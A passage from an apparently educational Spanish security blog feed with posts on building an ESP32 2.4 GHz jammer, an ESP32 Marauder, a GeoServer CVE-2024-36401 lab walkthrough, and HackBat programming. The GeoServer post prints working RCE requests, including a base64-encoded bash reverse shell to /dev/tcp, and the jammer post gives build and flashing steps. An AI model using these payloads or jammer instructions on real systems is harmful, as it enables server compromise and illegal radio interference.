    <p><strong>Capacitores 10uf +10v (2x)</strong><br />
<img src="/assets/img/posts/jammer/capacitor.jpg" alt="Capacitores 10uf +10v" /></p>
  </li>
  <li>
    <p><strong>TP4056</strong><br />
<img src="/assets/img/posts/jammer/TP4056.png" alt="TP4056" /></p>
  </li>
  <li>
    <p><strong>Switch de 3 pines</strong><br />
<img src="/assets/img/posts/jammer/switch.jpg" alt="Switch de 3 pines" /></p>
  </li>
  <li>
    <p><strong>Batería LiPo 3.7v</strong>  10000mah
<img src="/assets/img/posts/jammer/lipo.png" alt="Batería LiPo 3.7v" /></p>
  </li>
</ul>

<hr />

<h3 id="opcional">Opcional</h3>

<ul>
  <li><strong>2 amplificadores de 8W 2.4Ghz</strong> (Puede ser de 2-4W sin problemas)<br />
<img src="/assets/img/posts/jammer/amplificador.jpg" alt="Amplificadores de 8W 2.4Ghz" /></li>
</ul>

<hr />

<h2 id="diseño-de-la-pcb">Diseño de la PCB</h2>

<p><img src="/assets/img/posts/jammer/PCB-1.png" alt="PCB-1" /><br />
<img src="/assets/img/posts/jammer/PCB-2.png" alt="PCB-2" /></p>

<p><strong>Archivo Gerber:</strong><br />
<a href="/assets/img/posts/jammer/pcb.rar">Descargar PCB</a></p>

<hr />

<h2 id="diagrama-de-conexiones">Diagrama de Conexiones</h2>

<h3 id="esquemático">Esquemático</h3>

<p><img src="/assets/img/posts/jammer/esquematico.png" alt="PCB-3" /></p>

<hr />
<h3 id="hspi-primer-módulo-nrf24l01">HSPI (Primer módulo nRF24L01)</h3>

<table>
  <thead>
    <tr>
      <th>Pin nRF24L01</th>
      <th>Pin ESP32 (HSPI)</th>
      <th>Capacitor 10uf</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>VCC</td>
      <td>3.3V (+)</td>
      <td>(+)</td>
    </tr>
    <tr>
      <td>GND</td>
      <td>GND (-)</td>
      <td>(-)</td>
    </tr>
    <tr>
      <td>CE</td>
      <td>GPIO 16</td>
      <td> </td>
    </tr>
    <tr>
      <td>CSN</td>
      <td>GPIO 15</td>
      <td> </td>
    </tr>
    <tr>
      <td>SCK</td>
      <td>GPIO 14</td>
      <td> </td>
    </tr>
    <tr>
      <td>MOSI</td>
      <td>GPIO 13</td>
      <td> </td>
    </tr>
    <tr>
      <td>MISO</td>
      <td>GPIO 12</td>
      <td> </td>
    </tr>
    <tr>
      <td>IRQ</td>
      <td> </td>
      <td> </td>
    </tr>
  </tbody>
</table>

<h3 id="vspi-segundo-módulo-nrf24l01">VSPI (Segundo módulo nRF24L01)</h3>

<table>
  <thead>
    <tr>
      <th>Pin nRF24L01</th>
      <th>Pin ESP32 (VSPI)</th>
      <th>Capacitor 10uf</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>VCC</td>
      <td>3.3V (+)</td>
      <td>(+)</td>
    </tr>
    <tr>
      <td>GND</td>
      <td>GND (-)</td>
      <td>(-)</td>
    </tr>
    <tr>
      <td>CE</td>
      <td>GPIO 22</td>
      <td> </td>
    </tr>
    <tr>
      <td>CSN</td>
      <td>GPIO 21</td>
      <td> </td>
    </tr>
    <tr>
      <td>SCK</td>
      <td>GPIO 18</td>
      <td> </td>
    </tr>
    <tr>
      <td>MOSI</td>
      <td>GPIO 23</td>
      <td> </td>
    </tr>
    <tr>
      <td>MISO</td>
      <td>GPIO 19</td>
      <td> </td>
    </tr>
    <tr>
      <td>IRQ</td>
      <td> </td>
      <td> </td>
    </tr>
  </tbody>
</table>

<h3 id="conexión-de-la-batería">Conexión de la Batería</h3>

<table>
  <thead>
    <tr>
      <th>Batería Li-Ion 3.7V</th>
      <th>Conector JST-PH2</th>
      <th>Módulo de Carga TP4056</th>
      <th>Switch de 3 pines</th>
      <th>ESP32</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>(+) Batería</td>
      <td>(+) JST-PH2</td>
      <td>Bat +</td>
      <td> </td>
      <td> </td>
    </tr>
    <tr>
      <td>(-) Batería</td>
      <td>(-) JST-PH2</td>
      <td>Bat -</td>
      <td>Switch in</td>
      <td> </td>
    </tr>
    <tr>
      <td> </td>
      <td> </td>
      <td>OUT +</td>
      <td>Switch out</td>
      <td>3V3</td>
    </tr>
    <tr>
      <td> </td>
      <td> </td>
      <td>OUT -</td>
      <td>GND</td>
      <td> </td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="flasheo-del-firmware">Flasheo del Firmware</h2>

<ol>
  <li>Dirígete al <strong>Web Flasher de emensta</strong>:<br />
<a href="https://esp32-bluejammerflasher.pages.dev">https://esp32-bluejammerflasher.pages.dev</a>
<img src="/assets/img/posts/jammer/web.png" alt="Batería LiPo 3.7v" /></li>
  <li>
    <p>Selecciona el Jammer que te interese (en este caso, el <strong>Combo-Channel</strong>).</p>
  </li>
  <li>Una vez que se termine de flashear, desconecta el dispositivo y tendrás tu Jammer totalmente funcional.</li>
</ol>

<hr />

<h2 id="versión-final-del-jammer-con-amplificadores">Versión Final del Jammer con Amplificadores</h2>

<p><img src="/assets/img/posts/jammer/final1.jpeg" alt="Jammer Final 1" /><br />
<img src="/assets/img/posts/jammer/final2.jpeg" alt="Jammer Final 2" /></p>

<hr />

<h2 id="referencias">Referencias</h2>

<ul>
  <li><strong>EmenstaNougat</strong>. (s. f.). GitHub - EmenstaNougat/ESP32-Bluelammer<br />
<a href="https://github.com/EmenstaNougat/ESP32-Bluelammer">https://github.com/EmenstaNougat/ESP32-Bluelammer</a></li>
</ul>]]></content><author><name>Alejandro Torres</name></author><summary type="html"><![CDATA[ESP32-BlueJammer Diseño de PCB elaborado por Snoody En este artículo, explicaremos cómo construir y optimizar un bloqueador de señales en la banda de 2.4 GHz, creando un dispositivo funcional con un ESP32, módulos nRF24 y un diseño en PCB para mejorar su estabilidad y rendimiento.]]></summary></entry><entry><title type="html">Esp32 Marauder DIY</title><link href="https://blog.toadsec.io/2024/11/08/esp32-marauder-diy.html" rel="alternate" type="text/html" title="Esp32 Marauder DIY" /><published>2024-11-08T00:00:00+00:00</published><updated>2024-11-08T00:00:00+00:00</updated><id>https://blog.toadsec.io/2024/11/08/esp32-marauder-diy</id><content type="html" xml:base="https://blog.toadsec.io/2024/11/08/esp32-marauder-diy.html"><![CDATA[<p>En este artículo, exploraremos cómo crear un Marauder utilizando un ESP32. En mi caso, utilicé un ESP32 de 38 pines con una extensión de antena para mejorar el rendimiento de la señal.</p>

<p><img src="/assets/img/posts/esp32-marauder-diy/1.png" alt="" /></p>

<p>El Marauder es una herramienta versátil que permite llevar a cabo tanto ataques ofensivos como defensivos en redes WiFi y Bluetooth. Tiene similitudes con dispositivos como el Flipper Zero, que es popular por sus múltiples funcionalidades de pentesting.</p>

<p>El proyecto del Marauder fue creado por JustCallMeKoko, quien ha abierto las puertas para que cualquier persona pueda montar su propio dispositivo a un bajo costo y con hardware accesible.</p>

<p><strong>¿Qué es el ESP32 Marauder?</strong></p>

<p>El Marauder como lo menciona en su github es una colección de herramientas que permiten interactuar con redes WiFi y dispositivos Bluetooth desde un ESP32. Estas herramientas permiten realizar pruebas de penetración, como escaneo de redes, desconexión de dispositivos, y captura de handshakes WiFi. También incluye herramientas para detectar y analizar dispositivos Bluetooth cercanos.</p>

<h5 id="materiales-utilizados"><strong>Materiales Utilizados</strong></h5>

<p>Los materiales aquí pueden varias dependiendo de tus objetivos, en mi caso yo quise hacerlo portátil, para poder usarlo en el momento que quiera. Pero se puede hacer sin problemas con una protoboard.</p>

<ul>
  <li>ESP32</li>
  <li>Pantalla <strong>Touch TFT LCD módulo ILI9341 2.4 Pulgadas</strong> (Es recomendado usar 2.8 pulgadas)</li>
</ul>

<p><img src="/assets/img/posts/esp32-marauder-diy/2.png" alt="" /></p>

<ul>
  <li>Jumpers</li>
</ul>

<p><strong>Si deseas hacer la Versión Portátil:</strong></p>

<ul>
  <li>TP4056</li>
</ul>

<p><img src="/assets/img/posts/esp32-marauder-diy/3.png" alt="3" /></p>

<ul>
  <li>Mini DC-DC boost module (No es necesario, pero es mejor prevenir algún corto)</li>
</ul>

<p><img src="/assets/img/posts/esp32-marauder-diy/4.png" alt="4" /></p>

<ul>
  <li>
    <p>Batería LiPo 3.7v, +1500mAh (recomendable, dependiendo de cuanto tiempo quieras que este encendido el Marauder)</p>

    <p><img src="/assets/img/posts/esp32-marauder-diy/5.png" alt="5" /></p>
  </li>
  <li>
    <p>Switch</p>
  </li>
</ul>

<p><img src="/assets/img/posts/esp32-marauder-diy/6.png" alt="6" /></p>

<ul>
  <li>
    <p>Modulo GPS (Opcional)</p>

    <p><img src="/assets/img/posts/esp32-marauder-diy/7.png" alt="7" /></p>

    <p>(Si alguien está interesado en hacer este proyecto me puede contactar para conseguirle los materiales baratos, discord: Snoody.)</p>
  </li>
</ul>

<h5 id="esquema-de-conexiones"><strong>Esquema de conexiones:</strong></h5>

<p><strong>Versión no portátil</strong></p>

<p><img src="/assets/img/posts/esp32-marauder-diy/8.png" alt="8" /></p>

<p><strong>Versión Portátil</strong></p>

<p><img src="/assets/img/posts/esp32-marauder-diy/9.png" alt="9" /></p>

<p><strong>Las conexiones son las mismas que la imagen de arriba)</strong></p>

<p><img src="/assets/img/posts/esp32-marauder-diy/10.png" alt="10" /></p>

<p><strong>Archivo Gerber:</strong><br />
<a href="/assets/img/posts/esp32-marauder-diy/Marauder-PCB.zip">Descargar PCB</a></p>

<p><strong>Diseño de la placa PCB para versión portátil</strong></p>

<p><strong>Parte Frontal</strong></p>

<p><img src="/assets/img/posts/esp32-marauder-diy/11.png" alt="11" /></p>

<p><strong>Parte Trasera</strong></p>

<p><img src="/assets/img/posts/esp32-marauder-diy/12.png" alt="12" /></p>

<p><em>Si alguien esta interesado en tener una, me puede contactar para regalárselas</em></p>

<h5 id="flashear-esp32">Flashear Esp32</h5>

<p>Existen 2 formas de flashear el ESP32:</p>

<ol>
  <li><strong>Vía web (Recomendada):</strong></li>
</ol>

<ul>
  <li>Ventaja: Fácil de Flashear</li>
</ul>

<p>Nos dirigimos a el Web Uploader de Spacehuhn: https://esp.huhn.me  Nos aparecerá esto:</p>

<p><img src="/assets/img/posts/esp32-marauder-diy/13.png" alt="13" /></p>

<p>Lo siguiente que haremos es Conectar nuestro ESP32 a el puerto USB de nuestra PC/LAPTOP, una vez conectado le damos a connect y se nos desplegara una barra donde nos mostrara nuestros puertos COM disponibles:</p>

<p><img src="/assets/img/posts/esp32-marauder-diy/14.png" alt="14" style="zoom:67%;" /></p>

<p>Una vez seleccionado nuestro puerto del ESP32 nos aparecerá lo siguiente:</p>

<p><img src="/assets/img/posts/esp32-marauder-diy/15.png" alt="15" /></p>

<p>Aquí nos dirigimos a el<a href="https://github.com/justcallmekoko/ESP32Marauder/wiki/update-firmware#using-spacehuhn-web-updater"> </a><a href="https://github.com/justcallmekoko/ESP32Marauder/wiki/update-firmware#using-spacehuhn-web-updater">Github de </a><a href="https://github.com/justcallmekoko/ESP32Marauder/wiki/update-firmware#using-spacehuhn-web-updater"><em>koko</em></a><a href="https://github.com/justcallmekoko/ESP32Marauder/wiki/update-firmware#using-spacehuhn-web-updater"><em>:</em></a></p>

<p>Y en esta parte nos aparecerá los archivos .bin que usaremos para flashear nuestro ESP32</p>

<p><img src="/assets/img/posts/esp32-marauder-diy/16.png" alt="16" /></p>

<p>En Nuestro caso usaremos el ESP32 Marauderv4, v6, Kit, Mini</p>

<p>Descargaremos lo siguiente:</p>

<p><img src="/assets/img/posts/esp32-marauder-diy/17.png" alt="17" /></p>

<p>El Bootloader, partitions, Boot App.</p>

<p>Por último, el firmware, al presionar el firmware nos redirigirá a esta página y la versión recomendada es la  v4 _old_hardware.bin</p>

<p><img src="C:\/assets/img/posts/esp32-marauder-diy/18.png" alt="18" style="zoom:80%;" /></p>

<p><strong>Posibles errores:</strong> En mi caso intente instalar esta versión del firmware old hardware, pero esta no funciono, al momento de iniciar el marauder el <em>Touch</em> estaba invertido.</p>

<p>En caso de que algún firmware te funcione mal, intenta con otro o mira este <a href="https://github.com/justcallmekoko/ESP32Marauder/issues">enlace</a></p>

<p>El que me funciono a mi con pantalla de 2.4 pulgadas fue la v6_1.bin <a href="https://github.com/justcallmekoko/ESP32Marauder/releases/download/v1.0.0/esp32_marauder_v1_0_0_20240626_v6_1.bin">Descarga</a></p>

<p>Una vez descargados los 4 archivos, regresamos a la pagina de Web Uploader y agregamos los archivos en el siguiente orden:</p>

<p><img src="/assets/img/posts/esp32-marauder-diy/19.png" alt="19" /></p>

<p>Y le damos a <strong>Program</strong>, demora alrededor de 1-2 minutos (la imagen es para ilustrar, el botón)</p>

<p><img src="/assets/img/posts/esp32-marauder-diy/20.png" alt="20" /></p>

<p>Esta parte se puede hacer de primero para comprobar que se flashee bien, una vez flasheado nos podemos dirigir a esta <a href="https://serial.huhn.me/">página</a><a href="https://serial.huhn.me/"> </a>que es de SpaceHuhn también, esta es una terminal</p>

<p><img src="/assets/img/posts/esp32-marauder-diy/21.png" alt="21" /></p>

<p>Si todo esta correctamente flasheado debería aparecer:</p>

<p><em>ESP32 MARAUDER JUSTCALLMEKOKO, ETC.</em></p>

<ol>
  <li><strong>Vía Arduino IDE:</strong></li>
</ol>

<p><img src="/assets/img/posts/esp32-marauder-diy/22.png" alt="22" /></p>

<p>Desventaja: Mas vulnerable a tener problemas en compilación</p>

<p>Recomiendo mirar este video si deseas instalarlo de esta forma:</p>

<p>Aquí se encuentra paso a paso la instalación vía IDE: <a href="https://www.youtube.com/watch?v=3wcFsS64N3I&amp;t=426s">Video</a><a href="https://www.youtube.com/watch?v=3wcFsS64N3I&amp;t=426s"> </a><strong>Versión Final del ESP32 Portátil</strong></p>

<h5 id="referencias">Referencias:</h5>

<ul>
  <li>
    <p>Justcallmekoko. (s. f.). GitHub - justcallmekoko/ESP32Marauder: A suite of WiFi/Bluetooth offensive 	and 	defensive 	tools 	for 	the 	ESP32. 	GitHub. https://github.com/justcallmekoko/ESP32Marauder</p>
  </li>
  <li>
    <p>Spacehuhn. (s. f.-a). ESPWebTool. https://esp.huhn.me/</p>
  </li>
  <li>
    <p>Spacehuhn. (s. f.). SpaceHuhn Serial Terminal. https://serial.huhn.me/</p>
  </li>
</ul>]]></content><author><name>Alejandro Torres</name></author><summary type="html"><![CDATA[En este artículo, exploraremos cómo crear un Marauder utilizando un ESP32. En mi caso, utilicé un ESP32 de 38 pines con una extensión de antena para mejorar el rendimiento de la señal.]]></summary></entry><entry><title type="html">CVE-2024-36401- RCE GeoServer</title><link href="https://blog.toadsec.io/2024/09/12/geoserver.html" rel="alternate" type="text/html" title="CVE-2024-36401- RCE GeoServer" /><published>2024-09-12T00:00:00+00:00</published><updated>2024-09-12T00:00:00+00:00</updated><id>https://blog.toadsec.io/2024/09/12/geoserver</id><content type="html" xml:base="https://blog.toadsec.io/2024/09/12/geoserver.html"><![CDATA[<h1 id="cve-2024-36401--rce-geoserver">CVE-2024-36401- RCE GeoServer</h1>

<p><img src="/assets/img/posts/geoserver/banner.png" alt="" /></p>

<p>Nota: ¡Hola a todos! Ya algunos me conocerán soy Eduardo Samaniego y este es mi segunda entrada en este blog, quien diría que ha pasado prácticamente un año, bueno, en fin, espero que les guste este artículo, fue creado con mucho cariño y viene tambien de la mano de la materia de Ciberseguridad V impartida por el profesor Jose Moreno.</p>

<p>GeoServer es un servidor de código abierto basado en Java que facilita la visualización, edición y distribución de datos geoespaciales. Diseñado para proporcionar interoperabilidad en la gestión de información geográfica, GeoServer permite a los usuarios compartir datos provenientes de diversas fuentes, como bases de datos SIG, archivos de datos y servicios web.</p>

<p>Utiliza estándares abiertos del Open Geospatial Consortium (OGC), como WMS (Web Map Service) y WFS (Web Feature Service), para permitir la integración y el intercambio de datos entre diferentes sistemas. Su arquitectura flexible y escalable soporta una amplia gama de formatos de datos y proporciona servicios de mapas y capas que pueden ser visualizados en aplicaciones web y clientes.</p>

<p><img src="/assets/img/posts/geoserver/1.png" alt="1" /></p>

<h5 id="vulnerabilidad">Vulnerabilidad</h5>

<p>La vulnerabilidad CVE-2024-36401 afecta a las versiones de GeoServer anteriores a 2.23.6, 2.24.4 y 2.25.2. Esta falla de seguridad permite la ejecución remota de código (RCE) por parte de usuarios no autenticados mediante la explotación de la evaluación insegura de nombres de propiedad como expresiones XPath en varios parámetros de solicitud OGC.</p>

<p>Específicamente, la vulnerabilidad se origina en la forma en que GeoServer utiliza la API de la biblioteca GeoTools para evaluar nombres de propiedades/atributos de tipos de características. La evaluación de estas propiedades se transfiere de manera insegura a la biblioteca commons-jxpath, que tiene la capacidad de ejecutar código arbitrario al procesar expresiones XPath. Aunque esta funcionalidad de XPath está diseñada para tipos de características complejas, se aplica incorrectamente a tipos de características simples, exponiendo así todas las instancias de GeoServer a esta vulnerabilidad.</p>

<p>Un atacante puede explotar esta vulnerabilidad enviando solicitudes maliciosas a través de los métodos OGC como WFS GetFeature, WFS GetPropertyValue, WMS GetMap, WMS GetFeatureInfo, WMS GetLegendGraphic y WPS Execute. La explotación puede resultar en la ejecución</p>

<p>Podemos revisar el informe de esta vulnerabilidad en los siguientes enlaces</p>

<p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-36401">NVD - CVE-2024-36401 (nist.gov)</a></p>

<table>
  <tbody>
    <tr>
      <td>[CVE-2024-36401</td>
      <td>INCIBE-CERT</td>
      <td>INCIBE](https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2024-36401)</td>
    </tr>
  </tbody>
</table>

<p><strong>HACEMOS HINCAPIÉ EN QUE EL USO DE ESTA INFORMACIÓN ES EXCLUSIVAMENTE PARA FINES EDUCATIVOS, EN NINGÚN MOMENTO INCITAMOS AL USO INDEBIDO DE ESTA INFORMACIÓN PARA FINES POCO ÉTICOS</strong></p>

<h5 id="requerimientos-necesarios">Requerimientos Necesarios</h5>

<ul>
  <li>VM Kali Linux (o cualquier distribución de Linux)</li>
  <li>VM Ubuntu Server (o cualquier distribución servidor)</li>
</ul>

<ol>
  <li>
    <p>Creación de un entorno con Docker y Docker-Compose</p>

    <p>Crearemos un docker-compose.yml</p>

    <p><img src="/assets/img/posts/geoserver/2.png" alt="2" /></p>

    <p>Dentro setearemos la imagen que queremos utilizar en este caso utilizaremos un geoserver 2.23.2 que es una versión vulnerable</p>

    <div class="language-dockerfile highlighter-rouge"><div class="highlight"><pre class="highlight"><code>version: '3'
services:
 web:
   image: vulhub/geoserver:2.23.2
   ports:
    - "8080:8080"
    - "5005:5005"
</code></pre></div>    </div>

    <p><img src="/assets/img/posts/geoserver/3.png" alt="3" /></p>

    <p>Ahora sí, finalmente inicializamos y ya tenemos el servidor activo</p>

    <div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>docker compose up <span class="nt">-d</span>
</code></pre></div>    </div>

    <p><img src="/assets/img/posts/geoserver/4.png" alt="4" /></p>

    <p>Si vamos a la dirección IP en un navegador podremos ver que tenemos el GeoServer</p>

    <p><img src="/assets/img/posts/geoserver/5.png" alt="5" /></p>

    <p>Entramos al contenedor creador por el docker-compose.yml</p>

    <p><img src="/assets/img/posts/geoserver/6.png" alt="6" /></p>
  </li>
  <li>
    <p>Ataque</p>

    <p><img src="/assets/img/posts/geoserver/7.png" alt="" /></p>

    <p>En burp suite vemos una petición al servidor a la página del geoserver y lo mandamos al repeater (<strong>cabe destacar que en este caso se muestra el secuencer pero al que deben enviarlo es al repeater</strong>)</p>

    <p>Una vez aquí cambiamos la variable del get y ponemos un cambio, borramos todo y agregamos la línea</p>

    <div class="language-tex highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /geoserver/wfs?service=WFS<span class="p">&amp;</span>version=2.0.0<span class="p">&amp;</span>request=GetPropertyValue<span class="p">&amp;</span>typeNames=sf:archsites<span class="p">&amp;</span>valueReference=exec(java.lang.Runtime.getRuntime(),'touch<span class="c">%20/tmp/success1') HTTP/1.1</span>
   
Host: your-ip:8080
   
Accept-Encoding: gzip, deflate, br
   
Accept: /
   
Accept-Language: en-US;q=0.9,en;q=0.8
   
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
   
Connection: close
   
Cache-Control: max-age=0
   
   
</code></pre></div>    </div>

    <p>Obviamente reemplazamos “your-ip” por la ip del servidor posteriormente hacemos una request y obtendremos una salida parecida a la siguiente</p>

    <p><img src="/assets/img/posts/geoserver/8.png" alt="8" /></p>
  </li>
</ol>

<p>​	Si vemos el tmp del servidor vemos que se ejecutó un código y sale success1</p>

<p>​	<img src="/assets/img/posts/geoserver/9.png" alt="9" /></p>

<p>Otro ejemplo serio utilizando post vemos que abajo en el java.lang-runtime.getRunTime() podemos ejecutar</p>

<p><img src="/assets/img/posts/geoserver/10.png" alt="10" /></p>

<p>Vemos que ya tenemos el success2 que sigue siendo un comando</p>

<p><img src="/assets/img/posts/geoserver/11.png" alt="11" /></p>

<ol>
  <li>
    <h5 id="importancia-a-nivel-más-avanzado">Importancia a nivel más avanzado</h5>
  </li>
</ol>

<p>Podríamos hacer una modificación en el código y redireccionar con curl por el método post a un webhook para que nos dé una salida que queramos en este caso yo hare un <code class="language-plaintext highlighter-rouge">/etc/passwd</code>.</p>

<p><img src="/assets/img/posts/geoserver/12.png" alt="12" /></p>

<p>Si nos vamos al webhook veremos que tenemos la salida</p>

<p><img src="/assets/img/posts/geoserver/13.png" alt="13" /></p>

<p>Tomemos en cuenta que tenemos una vulnerabilidad de ejecución de código remoto, esto quiere decir que fácilmente podríamos crearnos una reverse shell o hacer cualquier tipo de manipulación para crearnos una puerta trasera.</p>

<p>Un ejemplo claro de lo que acabamos de exponer es lo siguiente:</p>

<p>En este caso se ha modificado la excepción</p>

<p><img src="/assets/img/posts/geoserver/14.png" alt="14" /></p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /geoserver/wfs HTTP/1.1

Host: 192.168.50.212:8080

Accept-Encoding: gzip, deflate, br

Accept: */*

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Type: application/xml

Content-Length: 434



&lt;wfs:GetPropertyValue service='WFS' version='2.0.0'

 xmlns:topp='http://www.openplans.org/topp'

 xmlns:fes='http://www.opengis.net/fes/2.0'

 xmlns:wfs='http://www.opengis.net/wfs/2.0'&gt;

  &lt;wfs:Query typeNames='sf:archsites'/&gt;

  &lt;wfs:valueReference&gt;exec(java.lang.Runtime.getRuntime(),'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUwLjEyNC80NDMgMD4mMQ==}|{base64,-d}|{bash,-i}')&lt;/wfs:valueReference&gt;

&lt;/wfs:GetPropertyValue&gt; 

</code></pre></div></div>

<p><strong>Finalmente, si nos ponemos en escucha por el puerto 443 en nc que equivale a netcat y ejecutamos la petición podremos obtener una consola.</strong></p>

<p><img src="/assets/img/posts/geoserver/15.png" alt="15" /></p>

<h5 id="conclusión">Conclusión</h5>

<p>Al finalizar este articulo podemos señalar grandes puntos que nos han llevado a la construcción de el laboratorio de pruebas perfecto para poder visualizar la falla dentro de los servidores con GeoServer, logramos destacar la utilización de herramientas como Docker-Compose y Burp Suite que fueron parte del proceso de creación y explotación de la vulnerabilidad, hacemos especial énfasis en que no se recomienda si no se tienen los debidos conocimientos explotar la misma en entornos de producción.</p>

<p>La prueba de concepto utilizada a lo largo de este artículo ha demostrado la gravedad de la vulnerabilidad CVE-2024-36401 en GeoServer, resaltando la facilidad con la que un atacante no autenticado podría explotar dicha falla para ejecutar código arbitrario en servidores configurados con versiones vulnerables. Al recrear un entorno vulnerable y ejecutar la PoC de manera controlada, se evidenció cómo la manipulación de parámetros OGC puede comprometer la integridad y seguridad del sistema.</p>

<p>Dependiendo del entorno y la configuración específica, las consecuencias de esta vulnerabilidad podrían variar desde la simple alteración de datos hasta la obtención de control total sobre el servidor afectado. Esto pone tanto a la disponibilidad del servicio, como también la confidencialidad e integridad de la información geoespacial gestionada por GeoServer en peligro.</p>

<p>Queda en evidencia la importancia de la actualización inmediata a versiones no afectadas, además de la implementación de mejores prácticas de seguridad, como la restricción de acceso y la configuración de mecanismos de autenticación robustos. La identificación de instancias vulnerables mediante el uso de dorks en FOFA nos hace ver lo primordial que es monitorear y proteger activamente las instalaciones de GeoServer en producción</p>]]></content><author><name>Eduardo Samaniego</name></author><summary type="html"><![CDATA[CVE-2024-36401- RCE GeoServer]]></summary></entry><entry><title type="html">Programando el HackBat con MicroPython</title><link href="https://blog.toadsec.io/2024/06/15/hackbat.html" rel="alternate" type="text/html" title="Programando el HackBat con MicroPython" /><published>2024-06-15T00:00:00+00:00</published><updated>2024-06-15T00:00:00+00:00</updated><id>https://blog.toadsec.io/2024/06/15/hackbat</id><content type="html" xml:base="https://blog.toadsec.io/2024/06/15/hackbat.html"><![CDATA[<h1 id="programando-el-hackbat-con-micropython">Programando el HackBat con MicroPython</h1>

<p>Hace un mes, vimos un proyecto que nos interesó bastante, este es el HackBat, una especie de herramienta o toolkit con variados módulos (WiFi, NFC, RF 433MHz) que están integrados a un RP2040 (Microprocesador utilizada en Raspberry Pi Pico o Zero).</p>

<p>Este proyecto se encuentra como Open Hardware en Github en donde uno puede descargar los esquemáticos y mandarlos a ensamblar en sitios como JLCPCB u otros. Nuestro HackBat esta incompleto ya que le faltan algunos módulos, pero trabajamos en arreglar eso.</p>

<p>No es Open Software, por lo que nosotros tenemos que programar las herramientas para poder utilizar el HackBat a su máximo potencial.</p>

<!--more-->

<p><img src="/assets/img/posts/hackbat/1.png" alt="Hackbat Ensamblado" /></p>

<p>Esta guía tiene como objetivo presentar los primeros pasos a realizar para crear tu primer script en el HackBat de manera sencilla ya que la programación de embebidos no es tan difícil como parece serlo, por el momento.</p>

<p>Se utilizará Windows para esta guía, pero se puede realizar de manera similar en Linux con el mismo IDE que utilizaremos. Es muy buena idea tratar el HackBat como si fuera un Raspberry Pi Pico o Pi Zero, por lo que siempre hay que buscar documentación si es necesario.</p>

<ol>
  <li>Estaremos utilizando el IDE Thonny, descárgalo en este enlace https://thonny.org/. Este IDE es excelente para lo que haremos.</li>
</ol>

<p><img src="/assets/img/posts/hackbat/2.png" alt="1" /></p>

<ol>
  <li>
    <p>Conectamos el HackBat por MicroUSB a nuestro PC o Laptop que utilizaremos. Asegúrate que el cable pueda transmitir datos y no solo poder.</p>

    <p><img src="/assets/img/posts/hackbat/3.png" alt="2" /></p>
  </li>
  <li>
    <p>Al conectar el HackBat, una partición nueva llamada RPI-RP2 aparece</p>

    <p><img src="/assets/img/posts/hackbat/4.png" alt="3" /></p>
  </li>
  <li>
    <p>Abrimos el IDE Thonny y configuramos el interprete en las opciones de arriba</p>

    <p><img src="/assets/img/posts/hackbat/5.png" alt="4" /></p>
  </li>
  <li>
    <p>Cambiamos el tipo de interprete a MicroPython(RP2040)</p>

    <p><img src="/assets/img/posts/hackbat/6.png" alt="5" /></p>
  </li>
  <li>
    <p>Ahora instalaremos el MicroPython en nuestro HackBat, hacemos click en Instala o actualiza MicroPython</p>

    <p><img src="/assets/img/posts/hackbat/7.png" alt="6" /></p>
  </li>
  <li>
    <p>Si todo sale bien, el IDE Thonny debe de detectar la partición de RPI-RP2 y poder realizar la instalación con las siguientes opciones, utilizaremos la versión de MicroPython para Raspberry Pi Pico ya que utilizan el mismo microcontrolador RP2040.</p>

    <p><img src="/assets/img/posts/hackbat/8.png" alt="7" /></p>
  </li>
  <li>
    <p>Al realizar la instalación, podemos observar en el IDE Thonny una consola de Python que corre actualmente en el HackBat en la cual podemos interactuar.</p>

    <p><img src="/assets/img/posts/hackbat/9.png" alt="8" /></p>

    <p>Esta es la consola REPL, en donde es utilizada para correr y probar código sin reiniciar constantemente el HackBat por reconexión de USB.</p>
  </li>
  <li>
    <p>Ahora podemos crear nuestro primer script en el HackBat utilizando Python.</p>

    <p><img src="/assets/img/posts/hackbat/10.png" alt="9" /></p>
  </li>
</ol>

<p><img src="/assets/img/posts/hackbat/11.png" alt="10" /></p>

<p><img src="/assets/img/posts/hackbat/12.png" alt="11" /></p>

<p><img src="/assets/img/posts/hackbat/13.png" alt="12" /></p>

<p><img src="/assets/img/posts/hackbat/14.png" alt="13" /></p>

<ol>
  <li>
    <p>Ahora que creamos nuestro primer script y guardarlo localmente en nuestro PC con el nombre holamundo.py, podemos subirlo al HackBat.</p>

    <p><img src="/assets/img/posts/hackbat/15.png" alt="14" /></p>

    <p>Esto lo sube el archivo holamundo.py al directorio principal / del HackBat</p>

    <p><img src="/assets/img/posts/hackbat/16.png" alt="15" /></p>

    <p>Ahora sabemos que en ambos lados existe el archivo holamundo.py, este archivo es guardado en la memoria flash del HackBat, en nuestro caso utilizamos una memoria externa de 128mb.</p>
  </li>
  <li>
    <p>Ahora ya subida, podemos reiniciar nuestro HackBat por el IDE y observar su comportamiento al iniciar.</p>

    <p><img src="/assets/img/posts/hackbat/17.png" alt="16" /></p>

    <p>Hacemos click en el icono rojo para reiniciar.</p>
  </li>
  <li>
    <p>Podemos ver que, en efecto, hace nada al reiniciar. Esto se debe a que MicroPython requiere de un archivo especial, llamado boot.py en donde corre todo su código en Python al darle poder, podemos hacer uno rápidamente.</p>

    <p><img src="/assets/img/posts/hackbat/18.png" alt="17" /></p>

    <p>Creamos un archivo llamado boot.py y le damos el código de impresión de un mensaje y luego lo subimos al HackBat.</p>

    <p><img src="/assets/img/posts/hackbat/19.png" alt="18" /></p>

    <p>Al reiniciar, podemos observar que corre el código en el boot.py y NO de otro archivo que se encuentra. El HackBat no compilara código que no esté declarado en el boot.py.</p>
  </li>
  <li>
